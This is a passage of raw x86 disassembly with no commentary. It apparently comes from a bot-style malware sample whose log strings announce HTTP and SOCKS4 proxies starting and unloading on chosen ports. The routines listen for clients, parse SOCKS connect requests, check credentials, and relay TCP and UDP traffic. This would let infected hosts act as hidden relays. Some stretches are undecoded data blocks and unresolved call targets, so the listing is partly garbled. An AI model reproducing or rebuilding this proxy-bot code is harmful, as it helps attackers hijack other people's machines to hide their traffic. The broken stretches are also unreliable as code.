[esp+14h+var_10], esi call sub_401FA0 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F15C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42ACB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AD20: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402126 test byte ptr [esp+8], 1 jz short loc_42AD38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42AD38: ; CODE XREF: ___:0042AD2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD50 proc near ; CODE XREF: sub_402126j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43F15C cmp eax, 0FFFFFFFFh jz short loc_42AD6B push eax nop call near ptr 71AB9639h loc_42AD6B: ; CODE XREF: sub_42AD50+12j mov ecx, esi call sub_4017A8 pop esi retn sub_42AD50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AD90 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AD90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_42ADB3: ; CODE XREF: sub_42AD90+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42ADDA mov ecx, [edi+3Bh] push ecx call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_42ADB3 loc_42ADDA: ; CODE XREF: sub_42AD90+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_42AEAC push ebp push esi loc_42ADF0: ; CODE XREF: sub_42AD90+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_42AE8B test ebp, ebp jz short loc_42AE8B push 0C3h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_42AE36 mov ecx, eax call sub_401893 mov esi, eax jmp short loc_42AE38 ; --------------------------------------------------------------------------- loc_42AE36: ; CODE XREF: sub_42AD90+99j xor esi, esi loc_42AE38: ; CODE XREF: sub_42AD90+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FDC mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013DE jmp short loc_42AE96 ; --------------------------------------------------------------------------- loc_42AE8B: ; CODE XREF: sub_42AD90+74j ; sub_42AD90+7Cj push 0FAh nop call near ptr 2821DE2h loc_42AE96: ; CODE XREF: sub_42AD90+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_42ADF0 pop esi pop ebp loc_42AEAC: ; CODE XREF: sub_42AD90+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_42AEBE push edi nop call near ptr 71AB9639h loc_42AEBE: ; CODE XREF: sub_42AD90+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_42AD90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AF20 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_42AF48 call sub_4017EE push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_42AF53 ; --------------------------------------------------------------------------- loc_42AF48: ; CODE XREF: sub_42AF20+19j call sub_4017EE push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_42AF53: ; CODE XREF: sub_42AF20+26j mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017EE push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch pop edi pop esi pop ebx retn sub_42AF20 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AFF0 proc near ; CODE XREF: sub_40213Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AFF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F16C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42AFF0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B060: ; CODE XREF: ___:0040187Fj ; ___:loc_401B18j push esi mov esi, ecx call sub_401FA5 test byte ptr [esp+8], 1 jz short loc_42B078 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B078: ; CODE XREF: ___:0042B06Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B090 proc near ; CODE XREF: sub_401FA5j jmp sub_4017A8 sub_42B090 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B0B0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_511CA4 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B0F1 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B0F1: ; CODE XREF: sub_42B0B0+27j cmp [esp+830h+var_81D], 4 jnz loc_42B2DC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_42B12E mov edx, [ebp+0A1h] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B0B0+64j cmp [esp+830h+var_807], 1 jnz loc_42B2DC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx call near ptr 71AB3B91h nop mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_42B1C9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_511CAC lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_42B226: ; CODE XREF: sub_42B0B0+1AFj ; sub_42B0B0+1FEj ... mov edi, dword_511CA4 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_42B2CA jge short loc_42B261 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_42B261 push 0Ah nop call near ptr 2821DE2h jmp short loc_42B226 ; --------------------------------------------------------------------------- loc_42B261: ; CODE XREF: sub_42B0B0+198j ; sub_42B0B0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_42B2CA jge short loc_42B2B3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_42B2B3 push 0Ah nop call near ptr 2821DE2h jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j ; sub_42B0B0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_42B226 ; --------------------------------------------------------------------------- loc_42B2CA: ; CODE XREF: sub_42B0B0+192j ; sub_42B0B0+1E5j mov eax, [ebp+0A1h] mov esi, dword_511C9C push eax call esi ; closesocket push ebx call esi ; closesocket loc_42B2DC: ; CODE XREF: sub_42B0B0+46j ; sub_42B0B0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_42B0B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B380 proc near ; CODE XREF: sub_40218Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B380 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F17C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B380 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C4E test [esp+4+arg_0], 1 jz short loc_42B408 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B408: ; CODE XREF: sub_42B3F0+Dj mov eax, esi pop esi retn 4 sub_42B3F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B420 proc near ; CODE XREF: sub_401C4Ej jmp sub_4017A8 sub_42B420 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B440 proc near ; CODE XREF: sub_40189Dj var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B440 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017EE push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42B649 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42B516 mov ecx, [esi+9Dh] push ecx call near ptr 71AB9639h nop pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B516: ; CODE XREF: sub_42B440+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42B600 loc_42B52C: ; CODE XREF: sub_42B440+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42B550 push 0FAh nop call near ptr 2821DE2h jmp loc_42B5EC ; --------------------------------------------------------------------------- loc_42B550: ; CODE XREF: sub_42B440+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42B600 xor edi, edi cmp ebp, edi jz loc_42B600 push 0A5h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B59E mov ecx, eax call sub_40213A mov edi, eax loc_42B59E: ; CODE XREF: sub_42B440+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FDC mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42B5EC: ; CODE XREF: sub_42B440+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B52C loc_42B600: ; CODE XREF: sub_42B440+E6j ; sub_42B440+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42B614 push eax nop call near ptr 71AB9639h loc_42B614: ; CODE XREF: sub_42B440+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017EE push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch loc_42B649: ; CODE XREF: sub_42B440+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B440 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B6F0 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42B711 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42B711: ; CODE XREF: sub_42B6F0+Dj xor al, al retn 8 sub_42B6F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B730 proc near ; CODE XREF: sub_4020E0j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42B751: ; CODE XREF: sub_42B730+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B76A: ; CODE XREF: sub_42B730+45j cmp [ecx], ebx jz short loc_42B777 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B76A loc_42B777: ; CODE XREF: sub_42B730+3Cj cmp eax, 1 jnz short loc_42B788 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42B788: ; CODE XREF: sub_42B730+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 nop call near ptr 71AB2DC0h test eax, eax jbe short loc_42B813 cmp eax, 0FFFFFFFFh jz short loc_42B813 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42B7BC mov eax, ebp mov ebp, ebx jmp short loc_42B7BE ; --------------------------------------------------------------------------- loc_42B7BC: ; CODE XREF: sub_42B730+84j mov eax, ebx loc_42B7BE: ; CODE XREF: sub_42B730+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42B862 test edi, edi jz short loc_42B862 jbe short loc_42B80C loc_42B7EB: ; CODE XREF: sub_42B730+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp call near ptr 71AB428Ah nop cmp eax, 0FFFFFFFFh jz short loc_42B862 add esi, eax cmp esi, edi jb short loc_42B7EB loc_42B80C: ; CODE XREF: sub_42B730+B9j mov ebp, [esp+51Ch+arg_0] loc_42B813: ; CODE XREF: sub_42B730+70j ; sub_42B730+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42B825: ; CODE XREF: sub_42B730+100j cmp [ecx], ebx jz short loc_42B832 inc eax add ecx, 4 cmp eax, 1 jb short loc_42B825 loc_42B832: ; CODE XREF: sub_42B730+F7j cmp eax, 1 jnz short loc_42B844 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42B844: ; CODE XREF: sub_42B730+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42B751 loc_42B862: ; CODE XREF: sub_42B730+B3j ; sub_42B730+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42B730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B8E0 proc near ; CODE XREF: sub_401C30j var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42B97F dec eax jz short loc_42B92A dec eax jnz loc_42BA72 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42B92A: ; CODE XREF: sub_42B8E0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_401758 test al, al jz loc_42BA72 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42B99B ; --------------------------------------------------------------------------- loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj mov ebx, dword_511C3C push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42BA72 cmp eax, 0FFFFFFFFh jnz loc_42BA72 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_511C68 push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42BA72 loc_42B9F9: ; CODE XREF: sub_42B8E0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42BA56 cmp esi, 0FFFFFFFFh jnz short loc_42B9F9 loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj mov esi, dword_511C9C push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42BA72: ; CODE XREF: sub_42B8E0+35j ; sub_42B8E0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42B8E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42BDBA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42BED6 mov edi, dword_511C94 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42BF63 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_438256 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 0E8905600h dd 7168868Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42BDBA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017EE mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42BCEF test al, al jz short loc_42BCEB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42BCEF add ecx, 2 add edi, 2 test al, al jnz short loc_42BCCB loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j xor eax, eax jmp short loc_42BCF4 ; --------------------------------------------------------------------------- loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j ; sub_42BB00+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj test eax, eax jz short loc_42BD51 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017EE lea edi, [esp+83Ch+var_100] loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42BD32 test cl, cl jz short loc_42BD2E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42BD32 add edi, 2 add eax, 2 test cl, cl jnz short loc_42BD0E loc_42BD2E: ; CODE XREF: sub_42BB00+218j xor eax, eax jmp short loc_42BD37 ; --------------------------------------------------------------------------- loc_42BD32: ; CODE XREF: sub_42BB00+214j ; sub_42BB00+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42BD37: ; CODE XREF: sub_42BB00+230j test eax, eax jz short loc_42BD51 push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BD51: ; CODE XREF: sub_42BB00+1F6j ; sub_42BB00+239j mov edi, dword_511CA0 push 0 push 2 push offset dword_4472F4 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 nop call near ptr 71AB2DC0h lea edx, [esp+83Ch+var_80C] push edx push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42BDBA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42BE21 sub eax, 2 jz short loc_42BDC9 dec eax loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj jnz short loc_42BE30 loc_42BDBA: ; CODE XREF: sub_42BB00+32j ; sub_42BB00+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_401758 test al, al jmp short loc_42BDB8 ; --------------------------------------------------------------------------- loc_42BE21: ; CODE XREF: 